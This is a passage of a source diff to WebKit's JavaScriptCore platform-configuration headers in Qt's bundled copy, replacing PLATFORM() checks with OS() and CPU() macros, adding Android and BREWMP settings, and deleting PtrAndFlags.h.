-#define WTF_PLATFORM_ALPHA 1
 #endif
 
-/* PLATFORM(SH4) */
-#if defined(__SH4__)
-#define WTF_PLATFORM_SH4 1
+/* OS(IPHONE_OS) - iPhone OS */
+/* OS(MAC_OS_X) - Mac OS X (not including iPhone OS) */
+#if OS(DARWIN) && ((defined(TARGET_OS_EMBEDDED) && TARGET_OS_EMBEDDED)  \
+    || (defined(TARGET_OS_IPHONE) && TARGET_OS_IPHONE)                   \
+    || (defined(TARGET_IPHONE_SIMULATOR) && TARGET_IPHONE_SIMULATOR))
+#define WTF_OS_IPHONE_OS 1
+#elif OS(DARWIN) && defined(TARGET_OS_MAC) && TARGET_OS_MAC
+#define WTF_OS_MAC_OS_X 1
 #endif
 
-/* PLATFORM(SPARC64) */
-#if defined(__sparc__) && defined(__arch64__) || defined (__sparcv9)
-#define WTF_PLATFORM_SPARC64 1
-#define WTF_PLATFORM_BIG_ENDIAN 1
+/* OS(FREEBSD) - FreeBSD */
+#ifdef __FreeBSD__
+#define WTF_OS_FREEBSD 1
 #endif
 
-/* PLATFORM(WINCE) && PLATFORM(QT)
-   We can not determine the endianess at compile time. For
-   Qt for Windows CE the endianess is specified in the
-   device specific makespec
-*/
-#if PLATFORM(WINCE) && PLATFORM(QT)
-#   include <QtGlobal>
-#   undef WTF_PLATFORM_BIG_ENDIAN
-#   undef WTF_PLATFORM_MIDDLE_ENDIAN
-#   if Q_BYTE_ORDER == Q_BIG_EDIAN
-#       define WTF_PLATFORM_BIG_ENDIAN 1
-#   endif
+/* OS(HAIKU) - Haiku */
+#ifdef __HAIKU__
+#define WTF_OS_HAIKU 1
+#endif
 
-#   include <ce_time.h>
+/* OS(LINUX) - Linux */
+#ifdef __linux__
+#define WTF_OS_LINUX 1
 #endif
 
-#if PLATFORM(WINCE) && PLATFORM(QT)
-#   include <ce_time.h>
+/* OS(NETBSD) - NetBSD */
+#if defined(__NetBSD__)
+#define WTF_PLATFORM_NETBSD 1
 #endif
 
-/* Compiler */
+/* OS(OPENBSD) - OpenBSD */
+#ifdef __OpenBSD__
+#define WTF_OS_OPENBSD 1
+#endif
 
-/* COMPILER(MSVC) */
-#if defined(_MSC_VER)
-#define WTF_COMPILER_MSVC 1
-#if _MSC_VER < 1400
-#define WTF_COMPILER_MSVC7 1
+/* OS(QNX) - QNX */
+#if defined(__QNXNTO__)
+#define WTF_OS_QNX 1
 #endif
+
+/* OS(SOLARIS) - Solaris */
+#if defined(sun) || defined(__sun)
+#define WTF_OS_SOLARIS 1
 #endif
 
-/* COMPILER(RVCT) */
-#if defined(__CC_ARM) || defined(__ARMCC__)
-#define WTF_COMPILER_RVCT 1
+/* OS(WINCE) - Windows CE; note that for this platform OS(WINDOWS) is also defined */
+#if defined(_WIN32_WCE)
+#define WTF_OS_WINCE 1
 #endif
 
-/* COMPILER(GCC) */
-/* --gnu option of the RVCT compiler also defines __GNUC__ */
-#if defined(__GNUC__) && !COMPILER(RVCT)
-#define WTF_COMPILER_GCC 1
-#define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)
+/* OS(WINDOWS) - Any version of Windows */
+#if defined(WIN32) || defined(_WIN32)
+#define WTF_OS_WINDOWS 1
 #endif
 
-/* COMPILER(MINGW) */
-#if defined(MINGW) || defined(__MINGW32__)
-#define WTF_COMPILER_MINGW 1
+/* OS(SYMBIAN) - Symbian */
+#if defined (__SYMBIAN32__)
+#define WTF_OS_SYMBIAN 1
+#endif
+
+/* OS(UNIX) - Any Unix-like system */
+#if   OS(AIX)              \
+    || OS(ANDROID)          \
+    || OS(DARWIN)           \
+    || OS(FREEBSD)          \
+    || OS(HAIKU)            \
+    || OS(LINUX)            \
+    || OS(NETBSD)           \
+    || OS(OPENBSD)          \
+    || OS(QNX)              \
+    || OS(SOLARIS)          \
+    || OS(SYMBIAN)          \
+    || defined(unix)        \
+    || defined(__unix)      \
+    || defined(__unix__)
+#define WTF_OS_UNIX 1
 #endif
 
-/* COMPILER(BORLAND) */
-/* not really fully supported - is this relevant any more? */
-#if defined(__BORLANDC__)
-#define WTF_COMPILER_BORLAND 1
+/* Operating environments */
+
+/* FIXME: these are all mixes of OS, operating environment and policy choices. */
+/* PLATFORM(CHROMIUM) */
+/* PLATFORM(QT) */
+/* PLATFORM(WX) */
+/* PLATFORM(GTK) */
+/* PLATFORM(HAIKU) */
+/* PLATFORM(MAC) */
+/* PLATFORM(WIN) */
+#if defined(BUILDING_CHROMIUM__)
+#define WTF_PLATFORM_CHROMIUM 1
+#elif defined(BUILDING_QT__)
+#define WTF_PLATFORM_QT 1
+#elif defined(BUILDING_WX__)
+#define WTF_PLATFORM_WX 1
+#elif defined(BUILDING_GTK__)
+#define WTF_PLATFORM_GTK 1
+#elif defined(BUILDING_HAIKU__)
+#define WTF_PLATFORM_HAIKU 1
+#elif defined(BUILDING_BREWMP__)
+#define WTF_PLATFORM_BREWMP 1
+#if defined(AEE_SIMULATOR)
+#define WTF_PLATFORM_BREWMP_SIMULATOR 1
+#else
+#define WTF_PLATFORM_BREWMP_SIMULATOR 0
+#endif
+#undef WTF_OS_WINDOWS
+#undef WTF_PLATFORM_WIN
+#elif OS(DARWIN)
+#define WTF_PLATFORM_MAC 1
+#elif OS(WINDOWS)
+#define WTF_PLATFORM_WIN 1
 #endif
 
-/* COMPILER(CYGWIN) */
-/* not really fully supported - is this relevant any more? */
-#if defined(__CYGWIN__)
-#define WTF_COMPILER_CYGWIN 1
+/* PLATFORM(IPHONE) */
+/* FIXME: this is sometimes used as an OS switch and sometimes for higher-level things */
+#if (defined(TARGET_OS_EMBEDDED) && TARGET_OS_EMBEDDED) || (defined(TARGET_OS_IPHONE) && TARGET_OS_IPHONE)
+#define WTF_PLATFORM_IPHONE 1
 #endif
 
-/* COMPILER(WINSCW) */
-#if defined(__WINSCW__)
-#define WTF_COMPILER_WINSCW 1
+/* PLATFORM(IPHONE_SIMULATOR) */
+#if defined(TARGET_IPHONE_SIMULATOR) && TARGET_IPHONE_SIMULATOR
+#define WTF_PLATFORM_IPHONE 1
+#define WTF_PLATFORM_IPHONE_SIMULATOR 1
+#else
+#define WTF_PLATFORM_IPHONE_SIMULATOR 0
 #endif
 
-#if (PLATFORM(IPHONE) || PLATFORM(MAC) || PLATFORM(WIN)) && !defined(ENABLE_JSC_MULTIPLE_THREADS)
+#if !defined(WTF_PLATFORM_IPHONE)
+#define WTF_PLATFORM_IPHONE 0
+#endif
+
+/* PLATFORM(ANDROID) */
+/* FIXME: this is sometimes used as an OS() switch, and other times to drive
+   policy choices */
+#if defined(ANDROID)
+#define WTF_PLATFORM_ANDROID 1
+#endif
+
+/* Graphics engines */
+
+/* PLATFORM(CG) and PLATFORM(CI) */
+#if PLATFORM(MAC) || PLATFORM(IPHONE)
+#define WTF_PLATFORM_CG 1
+#endif
+#if PLATFORM(MAC) && !PLATFORM(IPHONE)
+#define WTF_PLATFORM_CI 1
+#endif
+
+/* PLATFORM(SKIA) for Win/Linux, CG/CI for Mac */
+#if PLATFORM(CHROMIUM)
+#define ENABLE_HISTORY_ALWAYS_ASYNC 1
+#if OS(DARWIN)
+#define WTF_PLATFORM_CG 1
+#define WTF_PLATFORM_CI 1
+#define WTF_USE_ATSUI 1
+#define WTF_USE_CORE_TEXT 1
+#else
+#define WTF_PLATFORM_SKIA 1
+#endif
+#endif
+
+#if PLATFORM(GTK)
+#define WTF_PLATFORM_CAIRO 1
+#endif
+
+
+/* OS(WINCE) && PLATFORM(QT)
+   We can not determine the endianess at compile time. For
+   Qt for Windows CE the endianess is specified in the
+   device specific makespec
+*/
+#if OS(WINCE) && PLATFORM(QT)
+#   include <QtGlobal>
+#   undef WTF_CPU_BIG_ENDIAN
+#   undef WTF_CPU_MIDDLE_ENDIAN
+#   if Q_BYTE_ORDER == Q_BIG_ENDIAN
+#       define WTF_CPU_BIG_ENDIAN 1
+#   endif
+
+#   include <ce_time.h>
+#endif
+
+#if (PLATFORM(IPHONE) || PLATFORM(MAC) || PLATFORM(WIN) || (PLATFORM(QT) && OS(DARWIN) && !ENABLE(SINGLE_THREADED))) && !defined(ENABLE_JSC_MULTIPLE_THREADS)
 #define ENABLE_JSC_MULTIPLE_THREADS 1
 #endif
 
 /* On Windows, use QueryPerformanceCounter by default */
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 #define WTF_USE_QUERY_PERFORMANCE_COUNTER  1
 #endif
 
-#if PLATFORM(WINCE) && !PLATFORM(QT)
+#if OS(WINCE) && !PLATFORM(QT)
 #undef ENABLE_JSC_MULTIPLE_THREADS
 #define ENABLE_JSC_MULTIPLE_THREADS        0
 #define USE_SYSTEM_MALLOC                  0
@@ -462,26 +540,28 @@
 #define ENABLE_WML                         1
 #define HAVE_ACCESSIBILITY                 0
 
-#define NOMINMAX       // Windows min and max conflict with standard macros
-#define NOSHLWAPI      // shlwapi.h not available on WinCe
+#define NOMINMAX       /* Windows min and max conflict with standard macros */
+#define NOSHLWAPI      /* shlwapi.h not available on WinCe */
 
-// MSDN documentation says these functions are provided with uspce.lib.  But we cannot find this file.
-#define __usp10__      // disable "usp10.h"
+/* MSDN documentation says these functions are provided with uspce.lib.  But we cannot find this file. */
+#define __usp10__      /* disable "usp10.h" */
 
-#define _INC_ASSERT    // disable "assert.h"
+#define _INC_ASSERT    /* disable "assert.h" */
 #define assert(x)
 
-// _countof is only included in CE6; for CE5 we need to define it ourself
+/* _countof is only included in CE6; for CE5 we need to define it ourself */
 #ifndef _countof
 #define _countof(x) (sizeof(x) / sizeof((x)[0]))
 #endif
 
-#endif  /* PLATFORM(WINCE) && !PLATFORM(QT) */
+#endif  /* OS(WINCE) && !PLATFORM(QT) */
 
-/* for Unicode, KDE uses Qt */
-#if PLATFORM(KDE) || PLATFORM(QT)
+#if PLATFORM(QT)
 #define WTF_USE_QT4_UNICODE 1
-#elif PLATFORM(WINCE)
+#if !defined(ENABLE_WIDGETS_10_SUPPORT)
+#define ENABLE_WIDGETS_10_SUPPORT 1
+#endif
+#elif OS(WINCE)
 #define WTF_USE_WINCE_UNICODE 1
 #elif PLATFORM(GTK)
 /* The GTK+ Unicode backend is configurable */
@@ -493,7 +573,7 @@
 #define WTF_PLATFORM_CF 1
 #define WTF_USE_PTHREADS 1
 #define HAVE_PTHREAD_RWLOCK 1
-#if !defined(BUILDING_ON_LEOPARD) && !defined(BUILDING_ON_TIGER) && defined(__x86_64__)
+#if !defined(BUILDING_ON_LEOPARD) && !defined(BUILDING_ON_TIGER) && CPU(X86_64)
 #define WTF_USE_PLUGIN_HOST_PROCESS 1
 #endif
 #if !defined(ENABLE_MAC_JAVA_BRIDGE)
@@ -506,10 +586,19 @@
 #define HAVE_RUNLOOP_TIMER 1
 #endif /* PLATFORM(MAC) && !PLATFORM(IPHONE) */
 
-#if PLATFORM(CHROMIUM) && PLATFORM(DARWIN)
+#if PLATFORM(MAC)
+#define WTF_USE_CARBON_SECURE_INPUT_MODE 1
+#endif
+
+#if PLATFORM(CHROMIUM) && OS(DARWIN)
 #define WTF_PLATFORM_CF 1
 #define WTF_USE_PTHREADS 1
 #define HAVE_PTHREAD_RWLOCK 1
+#define WTF_USE_CARBON_SECURE_INPUT_MODE 1
+#endif
+
+#if PLATFORM(QT) && OS(DARWIN)
+#define WTF_PLATFORM_CF 1
 #endif
 
 #if PLATFORM(IPHONE)
@@ -529,12 +618,28 @@
 #define HAVE_PTHREAD_RWLOCK 1
 #endif
 
+#if PLATFORM(ANDROID)
+#define WTF_USE_PTHREADS 1
+#define WTF_PLATFORM_SGL 1
+#define USE_SYSTEM_MALLOC 1
+#define ENABLE_MAC_JAVA_BRIDGE 1
+#define LOG_DISABLED 1
+/* Prevents Webkit from drawing the caret in textfields and textareas
+   This prevents unnecessary invals. */
+#define ENABLE_TEXT_CARET 1
+#define ENABLE_JAVASCRIPT_DEBUGGER 0
+#endif
+
 #if PLATFORM(WIN)
 #define WTF_USE_WININET 1
 #endif
 
 #if PLATFORM(WX)
 #define ENABLE_ASSEMBLER 1
+#define ENABLE_GLOBAL_FASTMALLOC_NEW 0
+#if OS(DARWIN)
+#define WTF_PLATFORM_CF 1
+#endif
 #endif
 
 #if PLATFORM(GTK)
@@ -553,24 +658,29 @@
 #define ENABLE_NETSCAPE_PLUGIN_API 0
 #endif
 
+#if PLATFORM(BREWMP)
+#define USE_SYSTEM_MALLOC 1
+#endif
+
 #if !defined(HAVE_ACCESSIBILITY)
 #if PLATFORM(IPHONE) || PLATFORM(MAC) || PLATFORM(WIN) || PLATFORM(GTK) || PLATFORM(CHROMIUM)
 #define HAVE_ACCESSIBILITY 1
 #endif
 #endif /* !defined(HAVE_ACCESSIBILITY) */
 
-#if PLATFORM(UNIX) && !PLATFORM(SYMBIAN)
+#if OS(UNIX) && !OS(SYMBIAN)
 #define HAVE_SIGNAL_H 1
 #endif
 
-#if !PLATFORM(WIN_OS) && !PLATFORM(SOLARIS) && !PLATFORM(QNX) \
-    && !PLATFORM(SYMBIAN) && !PLATFORM(HAIKU) && !COMPILER(RVCT)
+#if !OS(WINDOWS) && !OS(SOLARIS) && !OS(QNX) \
+    && !OS(SYMBIAN) && !OS(HAIKU) && !OS(RVCT) \
+    && !OS(ANDROID) && !PLATFORM(BREWMP)
 #define HAVE_TM_GMTOFF 1
 #define HAVE_TM_ZONE 1
 #define HAVE_TIMEGM 1
-#endif     
+#endif
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 
 #define HAVE_ERRNO_H 1
 #define HAVE_LANGINFO_H 1
@@ -582,27 +692,32 @@
 #define HAVE_SYS_TIME_H 1
 #define HAVE_SYS_TIMEB_H 1
 
-#if !defined(BUILDING_ON_TIGER) && !defined(BUILDING_ON_LEOPARD) && !PLATFORM(IPHONE) && !PLATFORM(QT)
+#if !defined(BUILDING_ON_TIGER) && !defined(BUILDING_ON_LEOPARD)
+
+#define HAVE_DISPATCH_H 1
+
+#if !PLATFORM(IPHONE) && !PLATFORM(QT)
 #define HAVE_MADV_FREE_REUSE 1
 #define HAVE_MADV_FREE 1
 #define HAVE_PTHREAD_SETNAME_NP 1
 #endif
 
+#endif
+
 #if PLATFORM(IPHONE)
 #define HAVE_MADV_FREE 1
 #endif
 
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
 
-#define HAVE_FLOAT_H 1
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 #define HAVE_ERRNO_H 0
 #else
 #define HAVE_SYS_TIMEB_H 1
 #endif
 #define HAVE_VIRTUALALLOC 1
 
-#elif PLATFORM(SYMBIAN)
+#elif OS(SYMBIAN)
 
 #define HAVE_ERRNO_H 1
 #define HAVE_MMAP 0
@@ -615,7 +730,11 @@
 #define HAVE_SYS_PARAM_H 1
 #endif
 
-#elif PLATFORM(QNX)
+#elif PLATFORM(BREWMP)
+
+#define HAVE_ERRNO_H 1
+
+#elif OS(QNX)
 
 #define HAVE_ERRNO_H 1
 #define HAVE_MMAP 1
@@ -624,13 +743,23 @@
 #define HAVE_SYS_PARAM_H 1
 #define HAVE_SYS_TIME_H 1
 
+#elif OS(ANDROID)
+
+#define HAVE_ERRNO_H 1
+#define HAVE_LANGINFO_H 0
+#define HAVE_MMAP 1
+#define HAVE_SBRK 1
+#define HAVE_STRINGS_H 1
+#define HAVE_SYS_PARAM_H 1
+#define HAVE_SYS_TIME_H 1
+
 #else
 
 /* FIXME: is this actually used or do other platforms generate their own config.h? */
 
 #define HAVE_ERRNO_H 1
 /* As long as Haiku doesn't have a complete support of locale this will be disabled. */
-#if !PLATFORM(HAIKU)
+#if !OS(HAIKU)
 #define HAVE_LANGINFO_H 1
 #endif
 #define HAVE_MMAP 1
@@ -643,6 +772,11 @@
 
 /* ENABLE macro defaults */
 
+#if PLATFORM(QT)
+// We musn't customize the global operator new and delete for the Qt port.
+#define ENABLE_GLOBAL_FASTMALLOC_NEW 0
+#endif
+
 /* fastMalloc match validation allows for runtime verification that
    new is matched by delete, fastMalloc is matched by fastFree, etc. */
 #if !defined(ENABLE_FAST_MALLOC_MATCH_VALIDATION)
@@ -677,6 +811,10 @@
 #define ENABLE_DASHBOARD_SUPPORT 0
 #endif
 
+#if !defined(ENABLE_WIDGETS_10_SUPPORT)
+#define ENABLE_WIDGETS_10_SUPPORT 0
+#endif
+
 #if !defined(ENABLE_INSPECTOR)
 #define ENABLE_INSPECTOR 1
 #endif
@@ -701,6 +839,10 @@
 #define ENABLE_OPCODE_STATS 0
 #endif
 
+#if !defined(ENABLE_GLOBAL_FASTMALLOC_NEW)
+#define ENABLE_GLOBAL_FASTMALLOC_NEW 1
+#endif
+
 #define ENABLE_SAMPLING_COUNTERS 0
 #define ENABLE_SAMPLING_FLAGS 0
 #define ENABLE_OPCODE_SAMPLING 0
@@ -729,11 +871,14 @@
 #endif
 
 #if !defined(WTF_USE_JSVALUE64) && !defined(WTF_USE_JSVALUE32) && !defined(WTF_USE_JSVALUE32_64)
-#if (PLATFORM(X86_64) && (PLATFORM(UNIX) || PLATFORM(WIN_OS))) || PLATFORM(IA64) || PLATFORM(ALPHA)
+#if (CPU(X86_64) && (OS(UNIX) || OS(WINDOWS))) \
+    || (CPU(IA64) && !CPU(IA64_32)) \
+    || CPU(ALPHA) \
+    || CPU(SPARC64)
 #define WTF_USE_JSVALUE64 1
-#elif PLATFORM(ARM) || PLATFORM(PPC64)
+#elif CPU(ARM) || CPU(PPC64) || CPU(MIPS)
 #define WTF_USE_JSVALUE32 1
-#elif PLATFORM(WIN_OS) && COMPILER(MINGW)
+#elif OS(WINDOWS) && COMPILER(MINGW)
 /* Using JSVALUE32_64 causes padding/alignement issues for JITStubArg
 on MinGW. See https://bugs.webkit.org/show_bug.cgi?id=29268 */
 #define WTF_USE_JSVALUE32 1
@@ -749,40 +894,53 @@ on MinGW. See https://bugs.webkit.org/show_bug.cgi?id=29268 */
 #if !defined(ENABLE_JIT)
 
 /* The JIT is tested & working on x86_64 Mac */
-#if PLATFORM(X86_64) && PLATFORM(MAC)
+#if CPU(X86_64) && PLATFORM(MAC)
     #define ENABLE_JIT 1
 /* The JIT is tested & working on x86 Mac */
-#elif PLATFORM(X86) && PLATFORM(MAC)
+#elif CPU(X86) && PLATFORM(MAC)
     #define ENABLE_JIT 1
     #define WTF_USE_JIT_STUB_ARGUMENT_VA_LIST 1
-#elif PLATFORM(ARM_THUMB2) && PLATFORM(IPHONE)
+#elif CPU(ARM_THUMB2) && PLATFORM(IPHONE)
+    #define ENABLE_JIT 1
+/* The JIT is tested & working on Android */
+#elif CPU(ARM_THUMB2) && PLATFORM(ANDROID) && ENABLE(ANDROID_JSC_JIT)
     #define ENABLE_JIT 1
-    #define ENABLE_JIT_OPTIMIZE_NATIVE_CALL 0
 /* The JIT is tested & working on x86 Windows */
-#elif PLATFORM(X86) && PLATFORM(WIN)
+#elif CPU(X86) && PLATFORM(WIN)
     #define ENABLE_JIT 1
 #endif
 
-#if PLATFORM(QT)
-#if PLATFORM(X86) && PLATFORM(WIN_OS) && COMPILER(MINGW) && GCC_VERSION >= 40100
+#if PLATFORM(QT) || PLATFORM(WX)
+#if CPU(X86_64) && OS(DARWIN)
+    #define ENABLE_JIT 1
+#elif CPU(X86) && OS(DARWIN)
     #define ENABLE_JIT 1
     #define WTF_USE_JIT_STUB_ARGUMENT_VA_LIST 1
-#elif PLATFORM(X86) && PLATFORM(WIN_OS) && COMPILER(MSVC)
+#elif CPU(X86) && OS(WINDOWS) && COMPILER(MINGW) && GCC_VERSION >= 40100
+    #define ENABLE_JIT 1
+    #define WTF_USE_JIT_STUB_ARGUMENT_VA_LIST 1
+#elif CPU(X86) && OS(WINDOWS) && COMPILER(MSVC)
     #define ENABLE_JIT 1
     #define WTF_USE_JIT_STUB_ARGUMENT_REGISTER 1
-#elif PLATFORM(X86) && PLATFORM(LINUX) && GCC_VERSION >= 40100
+#elif CPU(X86) && OS(LINUX) && GCC_VERSION >= 40100
     #define ENABLE_JIT 1
     #define WTF_USE_JIT_STUB_ARGUMENT_VA_LIST 1
-#elif PLATFORM(ARM_TRADITIONAL) && PLATFORM(LINUX)
+#elif CPU(X86_64) && OS(LINUX) && GCC_VERSION >= 40100
+    #define ENABLE_JIT 1
+#elif CPU(ARM_TRADITIONAL) && OS(LINUX)
     #define ENABLE_JIT 1
-    #if PLATFORM(ARM_THUMB2)
-        #define ENABLE_JIT_OPTIMIZE_NATIVE_CALL 0
-    #endif
 #endif
 #endif /* PLATFORM(QT) */
 
 #endif /* !defined(ENABLE_JIT) */
 
+/* CPU architecture specific optimizations */
+#if CPU(ARM_TRADITIONAL)
+#if ENABLE(JIT) && !defined(ENABLE_JIT_OPTIMIZE_MOD) && WTF_ARM_ARCH_AT_LEAST(5)
+#define ENABLE_JIT_OPTIMIZE_MOD 1
+#endif
+#endif
+
 #if ENABLE(JIT)
 #ifndef ENABLE_JIT_OPTIMIZE_CALL
 #define ENABLE_JIT_OPTIMIZE_CALL 1
@@ -796,11 +954,14 @@ on MinGW. See https://bugs.webkit.org/show_bug.cgi?id=29268 */
 #ifndef ENABLE_JIT_OPTIMIZE_METHOD_CALLS
 #define ENABLE_JIT_OPTIMIZE_METHOD_CALLS 1
 #endif
+#ifndef ENABLE_JIT_OPTIMIZE_MOD
+#define ENABLE_JIT_OPTIMIZE_MOD 0
+#endif
 #endif
 
-#if PLATFORM(X86) && COMPILER(MSVC)
+#if CPU(X86) && COMPILER(MSVC)
 #define JSC_HOST_CALL __fastcall
-#elif PLATFORM(X86) && COMPILER(GCC)
+#elif CPU(X86) && COMPILER(GCC)
 #define JSC_HOST_CALL __attribute__ ((fastcall))
 #else
 #define JSC_HOST_CALL
@@ -820,19 +981,23 @@ on MinGW. See https://bugs.webkit.org/show_bug.cgi?id=29268 */
 #if !defined(ENABLE_YARR_JIT)
 
 /* YARR supports x86 & x86-64, and has been tested on Mac and Windows. */
-#if (PLATFORM(X86) && PLATFORM(MAC)) \
- || (PLATFORM(X86_64) && PLATFORM(MAC)) \
- || (PLATFORM(ARM_THUMB2) && PLATFORM(IPHONE)) \
- || (PLATFORM(X86) && PLATFORM(WIN))
+#if (CPU(X86) && PLATFORM(MAC)) \
+    || (CPU(X86_64) && PLATFORM(MAC)) \
+    || (CPU(ARM_THUMB2) && PLATFORM(IPHONE)) \
+    || (CPU(ARM_THUMB2) && PLATFORM(ANDROID) && ENABLE(ANDROID_JSC_JIT)) \
+    || (CPU(X86) && PLATFORM(WIN)) \
+    || (CPU(X86) && PLATFORM(WX))
 #define ENABLE_YARR 1
 #define ENABLE_YARR_JIT 1
 #endif
 
 #if PLATFORM(QT)
-#if (PLATFORM(X86) && PLATFORM(WIN_OS) && COMPILER(MINGW) && GCC_VERSION >= 40100) \
- || (PLATFORM(X86) && PLATFORM(WIN_OS) && COMPILER(MSVC)) \
- || (PLATFORM(X86) && PLATFORM(LINUX) && GCC_VERSION >= 40100) \
- || (PLATFORM(ARM_TRADITIONAL) && PLATFORM(LINUX))
+#if (CPU(X86) && OS(WINDOWS) && COMPILER(MINGW) && GCC_VERSION >= 40100) \
+    || (CPU(X86) && OS(WINDOWS) && COMPILER(MSVC)) \
+    || (CPU(X86) && OS(LINUX) && GCC_VERSION >= 40100) \
+    || (CPU(X86_64) && OS(LINUX) && GCC_VERSION >= 40100) \
+    || (CPU(ARM_TRADITIONAL) && OS(LINUX)) \
+    || (CPU(MIPS) && OS(LINUX))
 #define ENABLE_YARR 1
 #define ENABLE_YARR_JIT 1
 #endif
@@ -856,7 +1021,7 @@ on MinGW. See https://bugs.webkit.org/show_bug.cgi?id=29268 */
 #define ENABLE_ASSEMBLER_WX_EXCLUSIVE 0
 #endif
 
-#if !defined(ENABLE_PAN_SCROLLING) && PLATFORM(WIN_OS)
+#if !defined(ENABLE_PAN_SCROLLING) && OS(WINDOWS)
 #define ENABLE_PAN_SCROLLING 1
 #endif
 
@@ -882,17 +1047,30 @@ on MinGW. See https://bugs.webkit.org/show_bug.cgi?id=29268 */
 #define WTF_USE_ACCELERATED_COMPOSITING 1
 #endif
 
+/* FIXME: Defining ENABLE_3D_RENDERING here isn't really right, but it's always used with
+   with WTF_USE_ACCELERATED_COMPOSITING, and it allows the feature to be turned on and
+   off in one place. */
+#if PLATFORM(WIN)
+#include "QuartzCorePresent.h"
+#if QUARTZCORE_PRESENT
+#define WTF_USE_ACCELERATED_COMPOSITING 1
+#define ENABLE_3D_RENDERING 1
+#endif
+#endif
+
 #if COMPILER(GCC)
 #define WARN_UNUSED_RETURN __attribute__ ((warn_unused_result))
 #else
 #define WARN_UNUSED_RETURN
 #endif
 
-#if !ENABLE(NETSCAPE_PLUGIN_API) || (ENABLE(NETSCAPE_PLUGIN_API) && ((PLATFORM(UNIX) && (PLATFORM(QT) || PLATFORM(WX))) || PLATFORM(GTK)))
+#if !ENABLE(NETSCAPE_PLUGIN_API) || (ENABLE(NETSCAPE_PLUGIN_API) && ((OS(UNIX) && (PLATFORM(QT) || PLATFORM(WX))) || PLATFORM(GTK)))
 #define ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH 1
 #endif
 
 /* Set up a define for a common error that is intended to cause a build error -- thus the space after Error. */
 #define WTF_PLATFORM_CFNETWORK Error USE_macro_should_be_used_with_CFNETWORK
 
+#define ENABLE_JSC_ZOMBIES 0
+
 #endif /* WTF_Platform_h */
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/PtrAndFlags.h b/src/3rdparty/webkit/JavaScriptCore/wtf/PtrAndFlags.h
deleted file mode 100644
index 5d0bd2a..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/PtrAndFlags.h
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2009 Google Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- *
- *     * Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above
- * copyright notice, this list of conditions and the following disclaimer
- * in the documentation and/or other materials provided with the
- * distribution.
- *     * Neither the name of Google Inc. nor the names of its
- * contributors may be used to endorse or promote products derived from
- * this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
- * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
- * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
- * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
- * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef PtrAndFlags_h
-#define PtrAndFlags_h
-
-#include <wtf/Assertions.h>
-
-namespace WTF {
-    template<class T, typename FlagEnum> class PtrAndFlagsBase {
-    public:
-        bool isFlagSet(FlagEnum flagNumber) const { ASSERT(flagNumber < 2); return m_ptrAndFlags & (1 << flagNumber); }
-        void setFlag(FlagEnum flagNumber) { ASSERT(flagNumber < 2); m_ptrAndFlags |= (1 << flagNumber);}
-        void clearFlag(FlagEnum flagNumber) { ASSERT(flagNumber < 2); m_ptrAndFlags &= ~(1 << flagNumber);}
-        T* get() const { return reinterpret_cast<T*>(m_ptrAndFlags & ~3); }
-        void set(T* ptr)
-        {
-            ASSERT(!(reinterpret_cast<intptr_t>(ptr) & 3));
-            m_ptrAndFlags = reinterpret_cast<intptr_t>(ptr) | (m_ptrAndFlags & 3);
-#ifndef NDEBUG
-            m_leaksPtr = ptr;
-#endif
-        }
-
-        bool operator!() const { return !get(); }
-        T* operator->() const { return reinterpret_cast<T*>(m_ptrAndFlags & ~3); }
-
-    protected:
-        intptr_t m_ptrAndFlags;
-#ifndef NDEBUG
-        void* m_leaksPtr; // Only used to allow tools like leaks on OSX to detect that the memory is referenced.
-#endif
-    };
-
-    template<class T, typename FlagEnum> class PtrAndFlags : public PtrAndFlagsBase<T, FlagEnum> {
-    public:
-        PtrAndFlags()
-        {
-            PtrAndFlagsBase<T, FlagEnum>::m_ptrAndFlags = 0;
-        }
-        PtrAndFlags(T* ptr)
-        {
-            PtrAndFlagsBase<T, FlagEnum>::m_ptrAndFlags = 0;
-            set(ptr);
-        }
-    };
-} // namespace WTF
-
-using WTF::PtrAndFlagsBase;
-using WTF::PtrAndFlags;
-
-#endif // PtrAndFlags_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumber.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumber.cpp
index 52fb130..fc48263 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumber.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumber.cpp
@@ -34,12 +34,18 @@
 #include <stdint.h>
 #include <stdlib.h>
 
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 extern "C" {
 #include "wince/mt19937ar.c"
 }
 #endif
 
+#if PLATFORM(BREWMP)
+#include <AEEAppGen.h>
+#include <AEESource.h>
+#include <AEEStdLib.h>
+#endif
+
 namespace WTF {
 
